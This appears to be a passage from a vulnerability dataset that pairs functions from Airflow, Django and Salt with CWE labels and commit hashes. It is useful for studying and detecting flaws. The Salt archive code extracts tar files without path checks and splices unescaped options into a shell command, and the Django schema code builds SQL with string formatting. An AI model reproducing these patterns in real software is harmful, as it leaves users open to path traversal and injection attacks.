    
    This works by copying the previous file contents to a temporary file in the
    same directory, and renaming that file back to the target if the context
    exits with an error. If the context is successful, the new data is synced to
    disk and the temporary file is removed.
    
    Parameters
    ----------
    path : str
      The target file to write to.
     
    text : bool, optional
      Whether to open the file in text mode (i.e. to write unicode). Default is
      True.
    
    encoding : str, optional
      The encoding to use for files opened in text mode. Default is UTF-8.
     
    **kwargs
      Passed to :func:`io.open`.
    """"""
    # realpath doesn't work on Windows: http://bugs.python.org/issue9949
    # Luckily, we only need to resolve the file itself being a symlink, not
    # any of its directories, so this will suffice:
    if os.path.islink(path):
        path = os.path.join(os.path.dirname(path), os.readlink(path))

    dirname, basename = os.path.split(path)
    # The .~ prefix will make Dropbox ignore the temporary file.
    tmp_path = os.path.join(dirname, '.~'+basename)
    if os.path.isfile(path):
        shutil.copy2(path, tmp_path)

    if text:
        fileobj = io.open(path, 'w', encoding=encoding, newline='\n', **kwargs)
    else:
        fileobj = io.open(path, 'wb', **kwargs)

    try:
        yield fileobj
    except:
        # Failed! Move the backup file back to the real path to avoid corruption
        fileobj.close()
        if os.name == 'nt' and os.path.exists(path):
            # Rename over existing file doesn't work on Windows
            os.remove(path)
        os.rename(tmp_path, path)
        raise

    # Flush to disk
    fileobj.flush()
    os.fsync(fileobj.fileno())
    fileobj.close()

    # Written successfully, now remove the backup copy
    if os.path.isfile(tmp_path):
        os.remove(tmp_path)"
,UNKNOWN,UNKNOWN,tests/jobs/test_scheduler_job.py,1,"def test_find_executable_task_instances_in_default_pool(self, dag_maker):
        set_default_pool_slots(1)

        dag_id = 'SchedulerJobTest.test_find_executable_task_instances_in_default_pool'
        with dag_maker(dag_id=dag_id):
            op1 = DummyOperator(task_id='dummy1')
            op2 = DummyOperator(task_id='dummy2')

        executor = MockExecutor(do_update=True)
        self.scheduler_job = SchedulerJob(executor=executor)
        session = settings.Session()

        dr1 = dag_maker.create_dagrun(run_type=DagRunType.SCHEDULED)
        dr2 = dag_maker.create_dagrun_after(dr1, run_type=DagRunType.SCHEDULED, state=State.RUNNING)

        ti1 = dr1.get_task_instance(op1.task_id, session)
        ti2 = dr2.get_task_instance(op2.task_id, session)
        ti1.state = State.SCHEDULED
        ti2.state = State.SCHEDULED

        session.flush()

        # Two tasks w/o pool up for execution and our default pool size is 1
        res = self.scheduler_job._executable_task_instances_to_queued(max_tis=32, session=session)
        assert 1 == len(res)

        ti2.state = State.RUNNING
        session.flush()

        # One task w/o pool up for execution and one task running
        res = self.scheduler_job._executable_task_instances_to_queued(max_tis=32, session=session)
        assert 0 == len(res)

        session.rollback()
        session.close()",CWE-703,apache/airflow,1b139a77d012971d147bffc74646923514db4b48,"def test_find_executable_task_instances_in_default_pool(self, dag_maker):
        set_default_pool_slots(1)

        dag_id = 'SchedulerJobTest.test_find_executable_task_instances_in_default_pool'
        with dag_maker(dag_id=dag_id):
            op1 = DummyOperator(task_id='dummy1')
            op2 = DummyOperator(task_id='dummy2')

        executor = MockExecutor(do_update=True)
        self.scheduler_job = SchedulerJob(executor=executor)
        session = settings.Session()

        dr1 = dag_maker.create_dagrun(run_type=DagRunType.SCHEDULED)
        dr2 = dag_maker.create_dagrun_after(dr1, run_type=DagRunType.SCHEDULED, state=State.RUNNING)

        ti1 = dr1.get_task_instance(op1.task_id, session)
        ti2 = dr2.get_task_instance(op2.task_id, session)
        ti1.state = State.SCHEDULED
        ti2.state = State.SCHEDULED

        session.flush()

        # Two tasks w/o pool up for execution and our default pool size is 1
        res = self.scheduler_job._executable_task_instances_to_queued(max_tis=32, session=session)
        assert 1 == len(res)

        ti2.state = State.RUNNING
        session.flush()

        # One task w/o pool up for execution and one task running
        res = self.scheduler_job._executable_task_instances_to_queued(max_tis=32, session=session)
        assert 0 == len(res)

        session.rollback()
        session.close()"
,UNKNOWN,UNKNOWN,django/db/backends/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type, old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(
                    self.sql_delete_unique % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""name"": constraint_name,
                    },
                )
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(
                    self.sql_delete_fk % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""name"": fk_name,
                    }
                )
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                rel_fk_names = self._constraint_names(rel.model, [rel.field.column], foreign_key=True)
                for fk_name in rel_fk_names:
                    self.execute(
                        self.sql_delete_fk % {
                            ""table"": self.quote_name(rel.model._meta.db_table),
                            ""name"": fk_name,
                        }
                    )
        # Removed an index?
        if old_field.db_index and not new_field.db_index and not old_field.unique and not (not new_field.unique and old_field.unique):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            if strict and len(index_names) != 1:
                raise ValueError(""Found wrong number (%s) of indexes for %s.%s"" % (
                    len(index_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for index_name in index_names:
                self.execute(
                    self.sql_delete_index % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""name"": index_name,
                    }
                )
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(
                    self.sql_delete_check % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""name"": constraint_name,
                    }
                )
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self.sql_rename_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""old_column"": self.quote_name(old_field.column),
                ""new_column"": self.quote_name(new_field.column),
                ""type"": new_type,
            })
        # Next, start accumulating actions to do
        actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model._meta.db_table, new_field.column, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        if old_default != new_default:
            if new_default is None:
                actions.append((
                    self.sql_alter_column_no_default % {
                        ""column"": self.quote_name(new_field.column),
                    },
                    [],
                ))
            else:
                if self.connection.features.requires_literal_defaults:
                    # Some databases can't take defaults as a parameter (oracle)
                    # If this is the case, the individual schema backend should
                    # implement prepare_default
                    actions.append((
                        self.sql_alter_column_default % {
                            ""column"": self.quote_name(new_field.column),
                            ""default"": self.prepare_default(new_default),
                        },
                        [],
                    ))
                else:
                    actions.append((
                        self.sql_alter_column_default % {
                            ""column"": self.quote_name(new_field.column),
                            ""default"": ""%s"",
                        },
                        [new_default],
                    ))
        # Nullability change?
        if old_field.null != new_field.null:
            if new_field.null:
                actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        if actions:
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), reduce(operator.add, params))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(
                self.sql_create_unique % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_uniq""),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
        # Added an index?
        if not old_field.db_index and new_field.db_index and not new_field.unique and not (not old_field.unique and new_field.unique):
            self.execute(
                self.sql_create_index % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_uniq""),
                    ""columns"": self.quote_name(new_field.column),
                    ""extra"": """",
                }
            )
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(
                    self.sql_delete_pk % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""name"": constraint_name,
                    },
                )
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_pk""),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Handle our type alters on the other end of rels from the PK stuff above
        for rel in rels_to_update:
            rel_db_params = rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(rel.model._meta.db_table),
                    ""changes"": self.sql_alter_column_type % {
                        ""column"": self.quote_name(rel.field.column),
                        ""type"": rel_type,
                    }
                }
            )
        # Does it have a foreign key?
        if new_field.rel and fks_dropped:
            to_table = new_field.rel.to._meta.db_table
            to_column = new_field.rel.get_related_field().column
            self.execute(
                self.sql_create_fk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_fk_%s_%s"" % (to_table, to_column)),
                    ""column"": self.quote_name(new_field.column),
                    ""to_table"": self.quote_name(to_table),
                    ""to_column"": self.quote_name(to_column),
                }
            )
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                self.execute(
                    self.sql_create_fk % {
                        ""table"": self.quote_name(rel.model._meta.db_table),
                        ""name"": self._create_index_name(rel.model, [rel.field.column], suffix=""_fk""),
                        ""column"": self.quote_name(rel.field.column),
                        ""to_table"": self.quote_name(model._meta.db_table),
                        ""to_column"": self.quote_name(new_field.column),
                    }
                )
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_check""),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if not self.skip_default(new_field) and new_field.default is not None:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,91195c77d09cde526df75eb06d1c1145e19d8ea5,"def _alter_field(self, model, old_field, new_field, old_type, new_type, old_db_params, new_db_params, strict=False):
        """"""Actually perform a ""physical"" (non-ManyToMany) field update.""""""

        # Has unique been removed?
        if old_field.unique and (not new_field.unique or (not old_field.primary_key and new_field.primary_key)):
            # Find the unique constraint for this field
            constraint_names = self._constraint_names(model, [old_field.column], unique=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(
                    self.sql_delete_unique % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""name"": constraint_name,
                    },
                )
        # Removed an index?
        if old_field.db_index and not new_field.db_index and not old_field.unique and not (not new_field.unique and old_field.unique):
            # Find the index for this field
            index_names = self._constraint_names(model, [old_field.column], index=True)
            if strict and len(index_names) != 1:
                raise ValueError(""Found wrong number (%s) of indexes for %s.%s"" % (
                    len(index_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for index_name in index_names:
                self.execute(
                    self.sql_delete_index % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""name"": index_name,
                    }
                )
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if old_field.rel:
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(
                    self.sql_delete_fk % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""name"": fk_name,
                    }
                )
        # Drop incoming FK constraints if we're a primary key and things are going
        # to change.
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                rel_fk_names = self._constraint_names(rel.model, [rel.field.column], foreign_key=True)
                for fk_name in rel_fk_names:
                    self.execute(
                        self.sql_delete_fk % {
                            ""table"": self.quote_name(rel.model._meta.db_table),
                            ""name"": fk_name,
                        }
                    )
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            constraint_names = self._constraint_names(model, [old_field.column], check=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(
                    self.sql_delete_check % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""name"": constraint_name,
                    }
                )
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self.sql_rename_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""old_column"": self.quote_name(old_field.column),
                ""new_column"": self.quote_name(new_field.column),
                ""type"": new_type,
            })
        # Next, start accumulating actions to do
        actions = []
        post_actions = []
        # Type change?
        if old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model._meta.db_table, new_field.column, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # Default change?
        old_default = self.effective_default(old_field)
        new_default = self.effective_default(new_field)
        if old_default != new_default:
            if new_default is None:
                actions.append((
                    self.sql_alter_column_no_default % {
                        ""column"": self.quote_name(new_field.column),
                    },
                    [],
                ))
            else:
                if self.connection.features.requires_literal_defaults:
                    # Some databases can't take defaults as a parameter (oracle)
                    # If this is the case, the individual schema backend should
                    # implement prepare_default
                    actions.append((
                        self.sql_alter_column_default % {
                            ""column"": self.quote_name(new_field.column),
                            ""default"": self.prepare_default(new_default),
                        },
                        [],
                    ))
                else:
                    actions.append((
                        self.sql_alter_column_default % {
                            ""column"": self.quote_name(new_field.column),
                            ""default"": ""%s"",
                        },
                        [new_default],
                    ))
        # Nullability change?
        if old_field.null != new_field.null:
            if new_field.null:
                actions.append((
                    self.sql_alter_column_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
            else:
                actions.append((
                    self.sql_alter_column_not_null % {
                        ""column"": self.quote_name(new_field.column),
                        ""type"": new_type,
                    },
                    [],
                ))
        if actions:
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), reduce(operator.add, params))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # Added a unique?
        if not old_field.unique and new_field.unique:
            self.execute(
                self.sql_create_unique % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_uniq""),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
        # Added an index?
        if not old_field.db_index and new_field.db_index and not new_field.unique and not (not old_field.unique and new_field.unique):
            self.execute(
                self.sql_create_index % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_uniq""),
                    ""columns"": self.quote_name(new_field.column),
                    ""extra"": """",
                }
            )
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Changed to become primary key?
        # Note that we don't detect unsetting of a PK, as we assume another field
        # will always come along and replace it.
        if not old_field.primary_key and new_field.primary_key:
            # First, drop the old PK
            constraint_names = self._constraint_names(model, primary_key=True)
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of PK constraints for %s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                ))
            for constraint_name in constraint_names:
                self.execute(
                    self.sql_delete_pk % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""name"": constraint_name,
                    },
                )
            # Make the new one
            self.execute(
                self.sql_create_pk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_pk""),
                    ""columns"": self.quote_name(new_field.column),
                }
            )
            # Update all referencing columns
            rels_to_update.extend(new_field.model._meta.get_all_related_objects())
        # Handle our type alters on the other end of rels from the PK stuff above
        for rel in rels_to_update:
            rel_db_params = rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(rel.model._meta.db_table),
                    ""changes"": self.sql_alter_column_type % {
                        ""column"": self.quote_name(rel.field.column),
                        ""type"": rel_type,
                    }
                }
            )
        # Does it have a foreign key?
        if new_field.rel and fks_dropped:
            to_table = new_field.rel.to._meta.db_table
            to_column = new_field.rel.get_related_field().column
            self.execute(
                self.sql_create_fk % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_fk_%s_%s"" % (to_table, to_column)),
                    ""column"": self.quote_name(new_field.column),
                    ""to_table"": self.quote_name(to_table),
                    ""to_column"": self.quote_name(to_column),
                }
            )
        # Rebuild FKs that pointed to us if we previously had to drop them
        if old_field.primary_key and new_field.primary_key and old_type != new_type:
            for rel in new_field.model._meta.get_all_related_objects():
                self.execute(
                    self.sql_create_fk % {
                        ""table"": self.quote_name(rel.model._meta.db_table),
                        ""name"": self._create_index_name(rel.model, [rel.field.column], suffix=""_fk""),
                        ""column"": self.quote_name(rel.field.column),
                        ""to_table"": self.quote_name(model._meta.db_table),
                        ""to_column"": self.quote_name(new_field.column),
                    }
                )
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            self.execute(
                self.sql_create_check % {
                    ""table"": self.quote_name(model._meta.db_table),
                    ""name"": self._create_index_name(model, [new_field.column], suffix=""_check""),
                    ""column"": self.quote_name(new_field.column),
                    ""check"": new_db_params['check'],
                }
            )
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if not self.skip_default(new_field) and new_field.default is not None:
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": self.sql_alter_column_no_default % {
                    ""column"": self.quote_name(new_field.column),
                }
            }
            self.execute(sql)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valids: {1}'.format(
            archive_format, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[file_result.keys()[0]]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            results = __salt__['cmd.run_all']('tar {0} -f {1!r}'.format(
                tar_options, filename), cwd=name)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar') == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
        ret['comment'] = 'Can\'t extract content of {0}'.format(source)
    return ret",CWE-22,saltstack/salt,6858ce751da4a595bc9e76c706667c38149dd1c0,"def extracted(name,
              source,
              archive_format,
              tar_options=None,
              source_hash=None,
              if_missing=None,
              keep=False):
    '''
    .. versionadded:: 2014.1.0

    State that make sure an archive is extracted in a directory.
    The downloaded archive is erased if successfully extracted.
    The archive is downloaded only if necessary.

    .. note::

        If ``if_missing`` is not defined, this state will check for ``name``
        instead.  If ``name`` exists, it will assume the archive was previously
        extracted successfully and will not extract it again.

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.lzma
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - tar_options: J
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    .. code-block:: yaml

        graylog2-server:
          archive:
            - extracted
            - name: /opt/
            - source: https://github.com/downloads/Graylog2/graylog2-server/graylog2-server-0.9.6p1.tar.gz
            - source_hash: md5=499ae16dcae71eeb7c3a30c75ea7a1a6
            - archive_format: tar
            - if_missing: /opt/graylog2-server-0.9.6p1/

    name
        Directory name where to extract the archive

    source
        Archive source, same syntax as file.managed source argument.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings.
        It uses the same syntax as the file.managed source_hash argument.

    archive_format
        tar, zip or rar

    if_missing
        Some archives, such as tar, extract themselves in a subfolder.
        This directive can be used to validate if the archive had been
        previously extracted.

    tar_options
        Required if used with ``archive_format: tar``, otherwise optional.
        It needs to be the tar argument specific to the archive being extracted,
        such as 'J' for LZMA or 'v' to verbosely list files processed.
        Using this option means that the tar executable on the target will
        be used, which is less platform independent.
        Main operators like -x, --extract, --get, -c, etc. and -f/--file are
        **shoult not be used** here.
        If this option is not set, then the Python tarfile module is used.
        The tarfile module supports gzip and bz2 in Python 2.

    keep
        Keep the archive in the minion's cache
    '''
    ret = {'name': name, 'result': None, 'changes': {}, 'comment': ''}
    valid_archives = ('tar', 'rar', 'zip')

    if archive_format not in valid_archives:
        ret['result'] = False
        ret['comment'] = '{0} is not supported, valids: {1}'.format(
            name, ','.join(valid_archives))
        return ret

    if if_missing is None:
        if_missing = name
    if (
        __salt__['file.directory_exists'](if_missing)
        or __salt__['file.file_exists'](if_missing)
    ):
        ret['result'] = True
        ret['comment'] = '{0} already exists'.format(if_missing)
        return ret

    log.debug('Input seem valid so far')
    filename = os.path.join(__opts__['cachedir'],
                            'files',
                            __env__,
                            '{0}.{1}'.format(if_missing.replace('/', '_'),
                                             archive_format))
    if not os.path.exists(filename):
        if __opts__['test']:
            ret['result'] = None
            ret['comment'] = \
                'Archive {0} would have been downloaded in cache'.format(source)
            return ret

        log.debug('Archive file {0} is not in cache, download it'.format(source))
        data = {
            filename: {
                'file': [
                    'managed',
                    {'name': filename},
                    {'source': source},
                    {'source_hash': source_hash},
                    {'makedirs': True},
                    {'saltenv': __env__}
                ]
            }
        }
        file_result = __salt__['state.single']('file.managed',
                                               filename,
                                               source=source,
                                               source_hash=source_hash,
                                               makedirs=True,
                                               saltenv=__env__)
        log.debug('file.managed: {0}'.format(file_result))
        # get value of first key
        try:
            file_result = file_result[file_result.keys()[0]]
        except AttributeError:
            pass

        try:
            if not file_result['result']:
                log.debug('failed to download {0}'.format(source))
                return file_result
        except TypeError:
            if not file_result:
                log.debug('failed to download {0}'.format(source))
                return file_result
    else:
        log.debug('Archive file {0} is already in cache'.format(name))

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Archive {0} would have been extracted in {1}'.format(
            source, name)
        return ret

    __salt__['file.makedirs'](name)

    if archive_format in ('zip', 'rar'):
        log.debug('Extract {0} in {1}'.format(filename, name))
        files = __salt__['archive.un{0}'.format(archive_format)](filename,
                                                                 name)
    else:
        if tar_options is None:
            with closing(tarfile.open(filename, 'r')) as tar:
                files = tar.getnames()
                tar.extractall(name)
        else:
            log.debug('Untar {0} in {1}'.format(filename, name))

            results = __salt__['cmd.run_all']('tar {0} -f {1!r}'.format(
                tar_options, filename), cwd=name)
            if results['retcode'] != 0:
                ret['result'] = False
                ret['changes'] = results
                return ret
            if __salt__['cmd.retcode']('tar --version | grep bsdtar') == 0:
                files = results['stderr']
            else:
                files = results['stdout']
            if not files:
                files = 'no tar output so far'
    if len(files) > 0:
        ret['result'] = True
        ret['changes']['directories_created'] = [name]
        if if_missing != name:
            ret['changes']['directories_created'].append(if_missing)
        ret['changes']['extracted_files'] = files
        ret['comment'] = '{0} extracted in {1}'.format(source, name)
        if not keep:
            os.unlink(filename)
    else:
        __salt__['file.remove'](if_missing)
        ret['result'] = False
